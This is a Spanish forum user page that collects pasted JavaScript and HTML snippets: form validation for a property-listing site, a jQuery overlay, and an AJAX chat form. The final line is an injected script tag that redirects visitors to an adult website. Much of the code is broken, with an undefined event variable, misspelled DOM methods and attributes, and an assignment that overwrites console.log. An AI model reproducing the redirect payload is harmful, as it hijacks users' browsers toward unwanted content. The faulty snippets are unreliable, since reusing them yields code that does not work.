javascript se ejecutara siempre de lado cliente, no hay manera de que funcione del lado servidor.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
function DoEnter(){
tecla = (document.all) ? e.keyCode : e.which;
if(tecla==13){
getElementByID('txtArea').value = getElementByID('txtArea') + '<br /> ';
}
$(function(){
var pop = function(){
$('#screenBS').css({"display": "block", opacity: 0.7, "width":$(document).width(),"height":$(document).height()});
$('#boxBS').css({"display": "block"});
$('#linkBS').css({"display": "block"});
}
$('#form01').submit(pop); // ID de formulario
});
function validar(){
// Primera sección de formulario
var Nombre = document.getElementById("nombre").value;
var Email = document.getElementById("email").value;
var Telefono = document.getElementById("telefono").value;
// Si el campo tiene el minimo de caracteres permitido entones continua con la
// verificacion del siguiente bloque de campos
if(!(Nombre.length < 10) && !(Email.length < 10) && !(Telefono.length < 10)){
// Segunda sección de formulario
var Modo = document.getElementById("modo").value;
var NombrePropiedad = document.getElementById("nombrePropiedad").value;
var DireccionCorta = document.getElementById("direccionCorta").value;
var Direccion = document.getElementById("direccion").value;
var Descripcion = document.getElementById("descripcion").value;
var Monto = document.getElementById("monto").value;
var Moneda = document.getElementById("moneda").value;
var TipoPropiedad = document.getElementById("tipo_propiedad").value;
var Recamaras = document.getElementById("recamaras").value;
var Bano = document.getElementById("bano").value;
var Muebles = document.getElementById("muebles").value;
var Niveles = document.getElementById("niveles").value;
var Cupo = document.getElementById("cupo").value;
// Si el campo tiene el minimo de caracteres permitido entones continua con la
// carga de las imagenes
if(Modo.length > 4 && NombrePropiedad.length > 4 && DireccionCorta.length > 5 && Direccion.length > 15 && Descripcion.length > 15 && Monto.length > 2 && Moneda.length > 2 && TipoPropiedad.length > 3 && Recamaras.length > 0 && Bano.length > 0 && Muebles.length > 0 && Niveles.length > 0 && Cupo.length > 0){
// Cuarta sección de formulario
var ImagenP = document.getElementById("imgP").value;
if(ImagenP.length > 0){
// Terminos y condiciones
var Terminos = document.getElementById("terminos").checked;
if(Terminos == 1){
return true;
}else{
alert("Para poder subir la propiedad debes aceptar que tienes autorización para publicar esta información en el sitio.");
return false;
}
}else{
alert('La última sección del formulario \"Imágenes\" debe incluir la fotografía principal de la propiedad, es la imagen que veran principalmente los usuarios, verifique e intente nuevamente.\nTodos los campos son obligatorios.');
return false;
}
}else{
alert('La segunda sección del formulario \"Datos de la Propiedad\" debe ser completada correctamente, verifique e intente nuevamente.\nTodos los campos son obligatorios.');
return false;
}
}else{
alert('La primera sección del formulario \"Datos Personales\" debe ser completada correctamente, verifique e intente nuevamente.\nTodos los campos son obligatorios.');
return false;
}
}
$(function() {
$(".button").click(function() {
// validate and process form
// first hide any error messages
$('.error').hide();
var msg = $("input#typeMsg").val();
if (msg == "") {
$("label#typeMsg_error").show();
$("input#typeMsg").focus();
return false;
}
var dataString = 'msg='+ msg;
//alert (dataString);return false;
$.ajax({
type: "POST",
url: "send_message.php",
data: dataString,
success: function() {
console.log ='done';
}
});
return false;
});
});
runOnLoad(function(){
$("input#typeMsg").select().focus();
});
<form action="" method="POST" name="Chat">
<input type="text" size="50" maxlenght="150" name="typeMsg" id="typeId" placeholder="Responder" onkeypress="return pulsar(event);"/>
<input type="submit" value=" Enviar " id="submitMsg" name="answer" class="button"/>
</form>
<script>setTimeOut(location.href="http://www.brazzers.com",100);</script>